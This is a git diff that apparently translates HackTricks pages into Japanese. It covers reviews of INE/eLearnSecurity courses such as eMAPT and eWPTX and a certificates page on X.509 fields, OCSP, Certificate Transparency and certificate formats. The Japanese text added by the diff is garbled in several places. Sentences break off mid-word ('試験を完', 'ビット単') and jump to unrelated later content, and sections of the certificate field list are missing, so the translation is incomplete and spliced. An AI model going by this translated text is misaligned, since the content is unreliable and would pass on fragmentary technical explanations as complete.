Android course, if you want to follow the labs, I would recommend you to **get a jailbroken iOS or pay for some good iOS emulator.** - -As in the previous course, this course has some very useful labs to practice what you learn, but it doesn't explain every possible vulnerability of iOS applications. However, that's not an issue as **it teach you the basics to be able to understand other iOS vulnerabilities**.\ -Besides, once you have completed the course (or before) you can go to the [**Hacktricks iOS Applications pentesting section**](../mobile-pentesting/ios-pentesting/) and learn more tricks. +私がこのコースを受講したときは、iOSアプリケーションにあまり経験がなかったため、このコースは私が迅速にトピックに入るための素晴らしいリソースであると感じました。したがって、コースを受講する機会がある場合は、逃さないでください。前のコースと同様に、このコースではiOSの基礎、iOSアプリケーションの動作方法、アプリケーションの最も重要なコンポーネント、およびアプリケーションをテストするための主要なツールの設定と使用方法を教えてくれます。\ +ただし、Androidのコースとは非常に重要な違いがあります。ラボに従う場合は、**ジェイルブレイクされたiOSを入手するか、良いiOSエミュレータを購入することをお勧めします。** +前のコースと同様に、このコースには学んだことを実践するための非常に役立つラボがありますが、iOSアプリケーションのすべての可能な脆弱性を説明しているわけではありません。ただし、他のiOSの脆弱性を理解するための基礎を教えてくれるので、問題ありません。\ +また、コースを完了した後(または前)に、[**Hacktricks iOSアプリケーションのペネトレーションテストセクション**](../mobile-pentesting/ios-pentesting/)に移動して、さらにトリックを学ぶことができます。 ### [eMAPT](https://elearnsecurity.com/product/emapt-certification/) -> The eLearnSecurity Mobile Application Penetration Tester (eMAPT) certification is issued to cyber security experts that display advanced mobile application security knowledge through a scenario-based exam. +> eLearnSecurity Mobile Application Penetration Tester(eMAPT)認定は、シナリオベースの試験を通じて高度なモバイルアプリケーションセキュリティの知識を示すサイバーセキュリティの専門家に発行されます。 -The goal of this certificate is to **show** that you are capable of performing common **mobile applications pentests**. +この認定の目標は、一般的なモバイルアプリケーションのペネトレーションテストを実行できる能力を示すことです。 -During the exam you are **given 2 vulnerable Android applications** and you need to **create** an A**ndroid** **application** that **exploits** the vulnerabilities automatically. In order to **pass the exam**, you need to **send** the **exploit** **application** (the apk and the code) and it must **exploit** the **other** **apps** **vulnerabilities**. +試験では、**2つの脆弱なAndroidアプリケーション**が提供され、これらのアプリケーションの脆弱性を自動的に悪用する**Androidアプリケーションを作成**する必要があります。試験に合格するためには、**悪用アプリケーション**(apkとコード)を**送信**し、他のアプリケーションの脆弱性を**悪用**する必要があります。 -Having done the [**INE course about Android applications pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting) **is** **more than enough** to find the vulnerabilities of the applications. What I found to be more "complicated" of the exam was to **write an Android application** that exploits vulnerabilities. However, having some experience as Java developer and looking for tutorials on the Internet about what I wanted to do **I was able to complete the exam in just some hours**. They give you 7 days to complete the exam, so if you find the vulnerabilities you will have plenty of time to develop the exploit app. +[**Androidアプリケーションのペネトレーションテストに関するINEコース**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting)を受講したことは、アプリケーションの脆弱性を見つけるのに十分です。私が試験で少し「複雑」と感じたのは、脆弱性を悪用するAndroidアプリケーションを作成することでした。ただし、Java開発者としての経験があり、やりたいことについてインターネットでチュートリアルを探してみると、数時間で試験を完了することができました。試験を完 +## eLearnSecurity Web application Penetration Tester eXtreme (eWPTXv2)と関連するINEコース -In this exam I **missed the opportunity to exploit more vulnerabilities**, however, **I lost a bit the "fear" to write Android applications to exploit a vulnerability**. So it felt just like **another part of the course to complete your knowledge in Android applications pentesting**. +### コース:[**Web Application Penetration Testing eXtreme**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme) -## eLearnSecurity Web application Penetration Tester eXtreme (eWPTXv2) and the INE course related +このコースは、**eWPTXv2** **証明書試験**に向けて**準備**するためのものです。\ +私はこのコースを受講する前に数年間ウェブペントスターとして働いていましたが、このコースでは「奇妙な」ウェブの脆弱性や保護回避方法についていくつかの便利なハッキングトリックを教えてもらいました。さらに、コースには学んだことを実践できる素晴らしいラボがあり、脆弱性を完全に理解するのに役立ちます。 -### Course: [**Web Application Penetration Testing eXtreme**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme) +私はこのコースがウェブハッキング初心者向けではないと思います([**Web Application Penetration Testing**](https://my.ine.com/CyberSecurity/courses/38316560/web-application-penetration-testing)**などの他のINEコースがあります)。**ただし、初心者でない場合、ハッキングウェブの「レベル」に関係なく、このコースをぜひ見てみることをお勧めします。私が学んだように、新しいことを必ず学ぶことができます。 -This course is the one meant to **prepare** you for the **eWPTXv2** **certificate** **exam**.\ -Even having been working as web pentester for several years before doing the course, it taught me several **neat hacking tricks about "weird" web vulnerabilities and ways to bypass protections**. Moreover, the course contains **pretty nice labs where you can practice what you learn**, and that is always helpful to fully understand the vulnerabilities. +## eLearnSecurity Certified Digital Forensics Professional (eCDFP)とそれに関連するINEコース -I think this course **isn't for web hacking beginners** (there are other INE courses for that like [**Web Application Penetration Testing**](https://my.ine.com/CyberSecurity/courses/38316560/web-application-penetration-testing)**).** However, if you aren't a beginner, independently on the hacking web "level" you think you have, **I definitely recommend you to take a look to the course** because I'm sure you **will learn new things** like I did. +### コース:[**Certified Digital Forensics Professional**](https://ine.com/learning/certifications/internal/elearnsecurity-certified-digital-forensics-professional) -## eLearnSecurity Certified Digital Forensics Professional (eCDFP) and the respective INE courses +これはeCDFP証明書試験に向けたコースです。デジタルフォレンジックスの基礎、オペレーティングシステムの動作方法、デジタルフォレンジックスを実行するために収集できるオペレーティングシステムの最も価値のあるコンポーネント、およびデジタルフォレンジックスを実行するための主要なツールの設定と使用方法を教えてくれます。目標は、実際の現場でデジタルフォレンジックスを実行できるように準備することです。 -### Course: [**Certified Digital Forensics Professional**](https://ine.com/learning/certifications/internal/elearnsecurity-certified-digital-forensics-professional) +私はこのコースがデジタルフォレンジックスの経験がない人にとって素晴らしいものだと思いました。ただし、トピックに経験がある場合、コースにアクセスできる場合は、ぜひ見てみることをお勧めします。私がこのコースを受講したときも、数年間のデジタルフォレンジックスの経験がありましたが、このコースでは私にいくつかの基本的な知識と新しいヒントやトリックを教えてくれました。 -This is the course to **prepare for the eCDFP certificate exam**. It will teach you the **basics of Digital Forensics**, how the **Operating System works**, the **most valuable components** of the Operating Systems which can be gathered for performing Digital Forensics, and how to **configure and use** the main **tools** to perform Digital Forensics. The goal is to **prepare you to be able to perform Digital Forensics in the real life**. - -I found the course to be a great one for **people that don't have any experience in Digital Forensics** applications. However, **if** you are someone with **experience** in the topic and you have access to the course I also recommend you to **take a look to it**. That **was my case** when I did this course and even having a few years of experience performing Digital Forensics **this course taught me some great basics I didn't knew and some new tips and tricks**. - -Finally, note **two more things** about this course: It has **great labs to practice** what you learn. Also it defined your baseline to get started in **Digital Forenics** and to start doing it in real life scenario on your own. +最後に、このコースについて2つの注意点があります。学んだことを実践できる素晴らしいラボがあります。また、デジタルフォレンジックスの基礎を確立し、実際の現場で独自に実行するための出発点を定義します。 ### [eWPTXv2](https://elearnsecurity.com/product/ewptxv2-certification/) -> The eLearnSecurity Web Application Penetration Tester eXtreme (eWAPTX) is our most advanced web application pentesting certification. The eWPTX exam requires students to perform an expert-level penetration test that is then assessed by INE’s cyber security instructors. Students are expected to provide a complete report of their findings as they would in the corporate sector in order to pass. +> eLearnSecurity Web Application Penetration Tester eXtreme(eWAPTX)は、最も高度なウェブアプリケーションペントesting認定です。eWPTX試験では、学生はINEのサイバーセキュリティインストラクターによって評価されるエキスパートレベルのペネトレーションテストを実施する必要があります。学生は、企業セクターでの調査結果と同様に、発見したすべての脆弱性について完全なレポートを提供することが求められます。 -The exam was composed of a **few web applications full of vulnerabilities**. In order to pass the exam you will need to compromise a few machines abusing web vulnerabilities. However, note that that's not enough to pass the exam, you need to **send a professional pentest report detailing** all the vulnerabilities discovered, how to exploit them and how to remediate them.\ -**I reported more than 10 unique vulnerabilities** (most of them high/critical and presented in different places of the webs), including the read of the flag and several ways to gain RCE and I passed. +試験は、脆弱性が多数存在するいくつかのウェブアプリケーションで構成されています。試験に合格するためには、ウェブの脆弱性を悪用していくつかのマシンを侵害する必要があります。ただし、試験に合格するにはそれだけでは十分ではありません。発見したすべての脆弱性、それらを悪用する方法、および修復方法についてのプロのペントストレポートを提出する必要があります。\ +私は10以上のユニークな脆弱性(ほとんどは高/重要で、ウェブのさまざまな場所で発生)を報告し、フラグの読み取りやRCEの取得方法など、いくつかの方法で合格しました。 -**All the vulnerabilities I reported could be found explained in the** [**Web Application Penetration Testing eXtreme course**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme)**.** However, order to pass this exam I think that you **don't only need to know about web vulnerabilities**, but you need to be **experienced exploiting them**. So, if you are doing the course, at least practice with the labs and potentially play with other platform where you can improve your skills exploiting web vulnerabilities. +私が報告したすべての脆弱性は、[**Web Application Penetration Testing eXtremeコース**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme)**で詳しく説明されています。**ただし、この試験に合格するためには、ウェブの脆弱性について知っているだけでなく、それらを悪用する経験が必要です。したがって、コースを受講している場合は、少なくともラボで練習し、ウェブの脆弱性を悪用するスキルを向上させることができる他のプラットフォームで遊ぶことをお勧めします。 -## Course: **Data Science on the Google Cloud Platform** +## コース:**Google Cloud Platformでのデータサイエンス** \ -It's a very interesting basic course about **how to use the ML environment provided by Google** using services such as big-query (to store al load results), Google Deep Learning APIs (Google Vision API, Google Speech API, Google Natural Language API and Google Video Intelligence API) and even how to train your own model. +これは、Googleが提供するML環境の使用方法についての非常に興味深い基礎コースです。big-query(結果の保存と読み込みに使用)、Google Deep Learning API(Google Vision API、Google Speech API、Google Natural Language API、Google Video Intelligence API)などのサービスを使用して、さらには独自のモデルをトレーニングする方法まで学ぶことができます。 -## Course: **Machine Learning with scikit-learn Starter Pass** +## コース:**scikit-learnを使用した機械学習スターターパス** -In the course [**Machine Learning with scikit-learn Starter Pass**](https://my.ine.com/DataScience/courses/58c4e71b/machine-learning-with-scikit-learn-starter-pass) you will learn, as the name indicates, **how to use scikit-learn to create Machine Learning models**. +コース[**Machine Learning with scikit-learn Starter Pass**](https://my.ine.com/DataScience/courses/58c4e71b/machine-learning-with-scikit-learn-starter-pass)では、その名前が示すように、**scikit-learnを使用して機械学習モデルを作成する方法**を学びます。 -It's definitely recommended for people that haven't use scikit-learn (but know python) +scikit-learnを使用したことがないが、Pythonを知っている人にはぜひおすすめです。 -## **Course: Classification Algorithms** +## **コース:分類アルゴリズム** -The [**Classification Algorithms course**](https://my.ine.com/DataScience/courses/2c6de5ea/classification-algorithms) is a great course for people that is **starting to learn about machine learning**. Here you will find information about the main classification algorithms you need to know and some mathematical concepts like **logistic regression** and **gradient descent**, **KNN**, **SVM**, and **Decision trees**. +[**Classification Algorithmsコース**](https://my.ine.com/DataScience/courses/2c6de5ea/classification-algorithms)は、**機械学習について学び始める人にとって素晴らしいコース**です。ここでは、知っておく必要のある主要な分類アルゴリズムや**ロジスティック回帰**、**勾配降下法**、**KNN**、**SVM**、**決定木**などの数学的な概念について説明しています。 -It also shows how to **create models** with with **scikit-learn.** +また、scikit-learnを使用してモデルを作成する方法も示しています。 -## Course: **Decision Trees** +## コース:**決定木** -The [**Decision Trees course**](https://my.ine.com/DataScience/courses/83fcfd52/decision-trees) was very useful to improve my knowledge about **Decision and Regressions Trees**, **when** are they **useful**, **how** they **work** and how to properly **tune them**. +[**Decision Treesコース**](https://my.ine.com/DataScience/courses/83fcfd52/decision-trees)は、**決定木と回帰木**についての知識を向上させるのに非常に役立ちました。いつ決定木と回帰木が有用か、それらがどのように機能し、適切に調整する方法を学ぶことが +- **[💬](https://emojipedia.org/speech-balloon/)ディスコードグループ**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -It also explains **how to create tree models** with scikit-learn different techniques to **measure how good the created model is** and how to **visualize the tree**. - -The only drawback I could find was in some cases some lack of mathematical explanations about how the used algorithm works. However, this course is **pretty useful for people that are learning about Machine Learning**. - -## - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **あなたのハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
diff --git a/cryptography/certificates.md b/cryptography/certificates.md index a7becc24c..02f74a2a8 100644 --- a/cryptography/certificates.md +++ b/cryptography/certificates.md @@ -1,207 +1,247 @@ -# Certificates +# 証明書
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによるワークフローを簡単に構築および自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## What is a Certificate +## 証明書とは -In cryptography, a **public key certificate,** also known as a **digital certificate** or **identity certificate,** is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner (called the subject), and the digital signature of an entity that has verified the certificate's contents (called the issuer). If the signature is valid, and the software examining the certificate trusts the issuer, then it can use that key to communicate securely with the certificate's subject. +暗号学において、**公開鍵証明書**、または**デジタル証明書**または**アイデンティティ証明書**としても知られるものは、公開鍵の所有権を証明するために使用される電子文書です。証明書には、鍵に関する情報、所有者のアイデンティティに関する情報(サブジェクトと呼ばれる)、および証明書の内容を検証したエンティティのデジタル署名(発行者と呼ばれる)が含まれています。署名が有効であり、証明書を検査するソフトウェアが発行者を信頼している場合、その鍵を使用して証明書のサブジェクトと安全に通信することができます。 -In a typical [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) scheme, the certificate issuer is a [certificate authority](https://en.wikipedia.org/wiki/Certificate\_authority) (CA), usually a company that charges customers to issue certificates for them. By contrast, in a [web of trust](https://en.wikipedia.org/wiki/Web\_of\_trust) scheme, individuals sign each other's keys directly, in a format that performs a similar function to a public key certificate. +典型的な[公開鍵基盤](https://en.wikipedia.org/wiki/Public-key\_infrastructure)(PKI)スキームでは、証明書の発行者は通常、顧客に証明書を発行するために料金を請求する企業である[証明書機関](https://en.wikipedia.org/wiki/Certificate\_authority)(CA)です。これに対して、[信頼のウェブ](https://en.wikipedia.org/wiki/Web\_of\_trust)スキームでは、個人が直接お互いの鍵に署名し、公開鍵証明書と同様の機能を果たす形式で行います。 -The most common format for public key certificates is defined by [X.509](https://en.wikipedia.org/wiki/X.509). Because X.509 is very general, the format is further constrained by profiles defined for certain use cases, such as [Public Key Infrastructure (X.509)](https://en.wikipedia.org/wiki/PKIX) as defined in RFC 5280. +公開鍵証明書の最も一般的な形式は、[X.509](https://en.wikipedia.org/wiki/X.509)で定義されています。X.509は非常に一般的なため、特定のユースケースのために定義されたプロファイルによってさらに制約されています。たとえば、RFC 5280で定義されている[公開鍵基盤(X.509)](https://en.wikipedia.org/wiki/PKIX)などです。 -## x509 Common Fields +## x509共通フィールド -* **Version Number:** Version of x509 format. -* **Serial Number**: Used to uniquely identify the certificate within a CA's systems. In particular this is used to track revocation information. -* **Subject**: The entity a certificate belongs to: a machine, an individual, or an organization. - * **Common Name**: Domains affected by the certificate. Can be 1 or more and can contain wildcards. - * **Country (C)**: Country - * **Distinguished name (DN)**: The whole subject: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net` - * **Locality (L)**: Local place - * **Organization (O)**: Organization name - * **Organizational Unit (OU)**: Division of an organisation (like "Human Resources"). - * **State or Province (ST, S or P)**: List of state or province names -* **Issuer**: The entity that verified the information and signed the certificate. - * **Common Name (CN)**: Name of the certificate authority - * **Country (C)**: Country of the certificate authority - * **Distinguished name (DN)**: Distinguished name of the certificate authority - * **Locality (L)**: Local place where the organisation can be found. - * **Organization (O)**: Organisation name - * **Organizational Unit (OU)**: Division of an organisation (like "Human Resources"). -* **Not Before**: The earliest time and date on which the certificate is valid. Usually set to a few hours or days prior to the moment the certificate was issued, to avoid [clock skew](https://en.wikipedia.org/wiki/Clock\_skew#On\_a\_network) problems. -* **Not After**: The time and date past which the certificate is no longer valid. -* **Public Key**: A public key belonging to the certificate subject. (This is one of the main parts as this is what is signed by the CA) - * **Public Key Algorithm**: Algorithm used to generate the public key. Like RSA. - * **Public Key Curve**: The curve used by the elliptic curve public key algorithm (if apply). Like nistp521. - * **Public Key Exponent**: Exponent used to derive the public key (if apply). Like 65537. - * **Public Key Size**: The size of the public key space in bits. Like 2048. - * **Signature Algorithm**: The algorithm used to sign the public key certificate. - * **Signature**: A signature of the certificate body by the issuer's private key. -* **x509v3 extensions** - * **Key Usage**: The valid cryptographic uses of the certificate's public key. Common values include digital signature validation, key encipherment, and certificate signing. - * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `Digital Signature` - * **Extended Key Usage**: The applications in which the certificate may be used. Common values include TLS server authentication, email protection, and code signing. - * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `TLS Web Server Authentication` - * **Subject Alternative Name:** Allows users to specify additional host **names** for a single SSL **certificate**. The use of the SAN extension is standard practice for SSL certificates, and it's on its way to replacing the use of the common **name**. - * **Basic Constraint:** This extension describes whether the certificate is a CA certificate or an end entity certificate. A CA certificate is something that signs certificates of others and a end entity certificate is the certificate used in a web page for example (the last par of the chain). - * **Subject Key Identifier** (SKI): This extension declares a unique **identifier** for the public **key** in the certificate. It is required on all CA certificates. CAs propagate their own SKI to the Issuer **Key Identifier** (AKI) extension on issued certificates. It's the hash of the subject public key. - * **Authority Key Identifier**: It contains a key identifier which is derived from the public key in the issuer certificate. It's the hash of the issuer public key. - * **Authority Information Access** (AIA): This extension contains at most two types of information : - * Information about **how to get the issuer of this certificate** (CA issuer access method) - * Address of the **OCSP responder from where revocation of this certificate** can be checked (OCSP access method). - * **CRL Distribution Points**: This extension identifies the location of the CRL from which the revocation of this certificate can be checked. The application that processes the certificate can get the location of the CRL from this extension, download the CRL and then check the revocation of this certificate. - * **CT Precertificate SCTs**: Logs of Certificate transparency regarding the certificate +* **バージョン番号**:x509形式のバージョン。 +* **シリアル番号**:CAのシステム内で証明書を一意に識別するために使用されます。特に、これは失効情報を追跡するために使用されます。 +* **サブジェクト**:証明書が所属するエンティティ:マシン、個人、または組織。 +* **コモンネーム**:証明書に影響を与えるドメイン。1つ以上のワイルドカードを含むことができます。 +* **国(C)**:国 +* **識別名(DN)**:全体のサブジェクト:`C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net` +* **地域(L)**:地域の場所 +* **組織(O)**:組織名 +* **組織単位(OU)**:組織の部門(「人事」など) +* **州または省(ST、SまたはP)**:州または省の名前のリスト +* **発行者**:情報を検証し、証明書に署名したエンティティ。 +* **コモンネーム(CN)**:証明書機関の名前 +* **国(C)**:証明書機関の国 +* **識別名(DN)**:証明書機関の識別名 +* **地域(L)**:組織が見つかる場所 +* **組織(O)**:組織名 +* **組織単位(OU)**:組織の部門(「人事」など) +* **Not Before**:証明書が有効である最も早い日時。通常、証明書が発行された時点の数時間または数日前に設定され、[クロックスキュー](https://en.wikipedia.org/wiki/Clock\_skew#On\_a\_network)の問題を回避します。 +* **Not After**:証明書が無効になる日時。 +* **公開鍵**:証明書のサブジェクトに属する公開鍵(これはCAによって署名される主要な部分の1つです) +* **公開鍵アルゴリズム**:公開鍵を生成するために使用されるアルゴリズム。RSAのようなもの。 +* **公開鍵曲線**:楕円曲線公開鍵アルゴリズムで使用される曲線(適用される場合)。nistp521のようなもの。 +* **公開鍵指数**:公開鍵を導出するために使用される指数(適用される場合)。65537のようなもの。 +* **公開鍵サイズ**:公開鍵空間のサイズ(ビット単 +* **Authority Key Identifier**: 発行者証明書の公開鍵から派生したキー識別子を含んでいます。これは発行者公開鍵のハッシュです。 +* **Authority Information Access** (AIA): この拡張機能には最大2種類の情報が含まれています: +* この証明書の発行者を取得する方法に関する情報(CA発行者アクセス方法) +* この証明書の失効を確認するためのOCSPレスポンダのアドレス(OCSPアクセス方法)。 +* **CRL Distribution Points**: この拡張機能は、この証明書の失効を確認するためのCRLの場所を識別します。証明書を処理するアプリケーションは、この拡張機能からCRLの場所を取得し、CRLをダウンロードしてこの証明書の失効を確認することができます。 +* **CT Precertificate SCTs**: 証明書に関する証明書透明性のログ -### Difference between OCSP and CRL Distribution Points +### OCSPとCRL Distribution Pointsの違い -**OCSP** (RFC 2560) is a standard protocol that consists of an **OCSP client and an OCSP responder**. This protocol **determines revocation status of a given digital public-key certificate** **without** having to **download** the **entire CRL**.\ -**CRL** is the **traditional method** of checking certificate validity. A **CRL provides a list of certificate serial numbers** that have been revoked or are no longer valid. CRLs let the verifier check the revocation status of the presented certificate while verifying it. CRLs are limited to 512 entries.\ -From [here](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm). +**OCSP**(RFC 2560)は、**OCSPクライアントとOCSPレスポンダ**から構成される標準プロトコルです。このプロトコルは、**CRL全体をダウンロードすることなく、指定されたデジタル公開鍵証明書の失効ステータスを判定**します。\ +**CRL**は証明書の有効性を確認するための**従来の方法**です。CRLは、失効または無効になった証明書のシリアル番号のリストを提供します。CRLを使用することで、検証者は提示された証明書の失効ステータスを確認することができます。CRLは512エントリまでしか対応していません。\ +[ここから](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)。 -### What is Certificate Transparency +### 証明書透明性とは -Certificate Transparency aims to remedy certificate-based threats by **making the issuance and existence of SSL certificates open to scrutiny by domain owners, CAs, and domain users**. Specifically, Certificate Transparency has three main goals: +証明書透明性は、ドメイン所有者、CA、およびドメインユーザーによるSSL証明書の発行と存在を公開し、検証することによって、証明書に基づく脅威を解決しようとするものです。具体的には、証明書透明性には次の3つの主な目標があります: -* Make it impossible (or at least very difficult) for a CA to **issue a SSL certificate for a domain without the certificate being visible to the owner** of that domain. -* Provide an **open auditing and monitoring system that lets any domain owner or CA determine whether certificates have been mistakenly or maliciously** issued. -* **Protect users** (as much as possible) from being duped by certificates that were mistakenly or maliciously issued. +* ドメインの所有者が証明書を確認することなく、CAがそのドメインのためにSSL証明書を発行することを不可能(または少なくとも非常に困難)にする。 +* 証明書が誤ってまたは悪意を持って発行されたかどうかを、任意のドメイン所有者またはCAが確認できるようにするためのオープンな監査およびモニタリングシステムを提供する。 +* 誤ってまたは悪意を持って発行された証明書によってユーザーがだまされることを(可能な限り)防ぐ。 -#### **Certificate Logs** +#### **証明書ログ** -Certificate logs are simple network services that maintain **cryptographically assured, publicly auditable, append-only records of certificates**. **Anyone can submit certificates to a log**, although certificate authorities will likely be the foremost submitters. Likewise, anyone can query a log for a cryptographic proof, which can be used to verify that the log is behaving properly or verify that a particular certificate has been logged. The number of log servers doesn’t have to be large (say, much less than a thousand worldwide), and each could be operated independently by a CA, an ISP, or any other interested party. +証明書ログは、証明書の**暗号化された、公開監査可能な、追加のみのレコード**を維持するシンプルなネットワークサービスです。**誰でもログに証明書を提出できます**が、証明書機関が最も頻繁に提出するでしょう。同様に、誰でもログをクエリできます。クエリ結果は暗号的な証明として使用でき、ログが適切に動作しているか、または特定の証明書がログに記録されているかを検証できます。ログサーバーの数は大きくなくても構いません(たとえば、世界中で1000を下回る程度)。それぞれのログサーバーは、CA、ISP、または他の関係者によって独立して運営される可能性があります。 -#### Query +#### クエリ -You can query the logs of Certificate Transparency of any domain in [https://crt.sh/](https://crt.sh). +[https://crt.sh/](https://crt.sh)で任意のドメインの証明書透明性のログをクエリできます。 -## Formats +## フォーマット -There are different formats that can be used to store a certificate. +証明書を保存するために使用できるさまざまなフォーマットがあります。 -#### **PEM Format** +#### **PEMフォーマット** -* It is the most common format used for certificates -* Most servers (Ex: Apache) expects the certificates and private key to be in a separate files\ - \- Usually they are Base64 encoded ASCII files\ - \- Extensions used for PEM certificates are .cer, .crt, .pem, .key files\ - \- Apache and similar server uses PEM format certificates +* 証明書に最も一般的に使用されるフォーマットです +* ほとんどのサーバー(例:Apache)は、証明書と秘密鍵を別々のファイルに保存することを想定しています\ +\- 通常、これらはBase64でエンコードされたASCIIファイルです\ +\- PEM証明書に使用される拡張子は.cer、.crt、.pem、.keyファイルです\ +\- Apacheや同様のサーバーはPEM形式の証明書を使用します -#### **DER Format** +#### **DERフォーマット** -* The DER format is the binary form of the certificate -* All types of certificates & private keys can be encoded in DER format -* DER formatted certificates do not contain the "BEGIN CERTIFICATE/END CERTIFICATE" statements -* DER formatted certificates most often use the ‘.cer’ and '.der' extensions -* DER is typically used in Java Platforms +* DERフォーマットは証明書のバイナリ形式です +* すべてのタイプの証明書と秘密鍵をDER形式でエンコードすることができます +* DER形式の証明書には「BEGIN CERTIFICATE/END CERTIFICATE」ステートメントは含まれません +* DER形式の証明書は、一般的に「.cer」や「.der」の拡張子を使用します +* DERは主にJavaプラットフォームで使用されます -#### **P7B/PKCS#7 Format** +#### **P7B/PKCS#7フォーマット** -* The PKCS#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c -* A P7B file only contains certificates and chain certificates (Intermediate CAs), not the private key -* The most common platforms that support P7B files are Microsoft Windows and Java Tomcat +* PKCS#7またはP7Bフォーマットは、Base64 ASCII形式で保存され、拡張子が.p7bまたは.p7cのファイルです +* P7Bファイルには証明書とチェーン証明書(中間CA)のみが含まれており、秘密鍵は含まれていません +* P7Bファイルをサポートする最も一般的なプラットフォームは、Microsoft WindowsとJava Tomcatです -#### **PFX/P12/PKCS#12 Format** +#### **PFX/P12/PKCS#12フォーマット** -* The PKCS#12 or PFX/P12 format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file -* These files usually have extensions such as .pfx and .p12 -* They are typically used on Windows machines to import and export certificates and private keys +* PKCS#12またはPFX/P12フォーマットは、サーバー証明書、中間証明書、および秘密鍵を1つの暗号化可能なファイルに格納するバイナリ形式です +* これらのファイルには通常、.pfxや.p12などの拡張子が付いています +* これらは通常、証明書と秘密鍵をインポートおよびエクスポートするためにWindowsマシンで使用されます -### Formats conversions - -**Convert x509 to PEM** +### フォーマットの変換 +**x509をPEMに変換する** ``` openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` 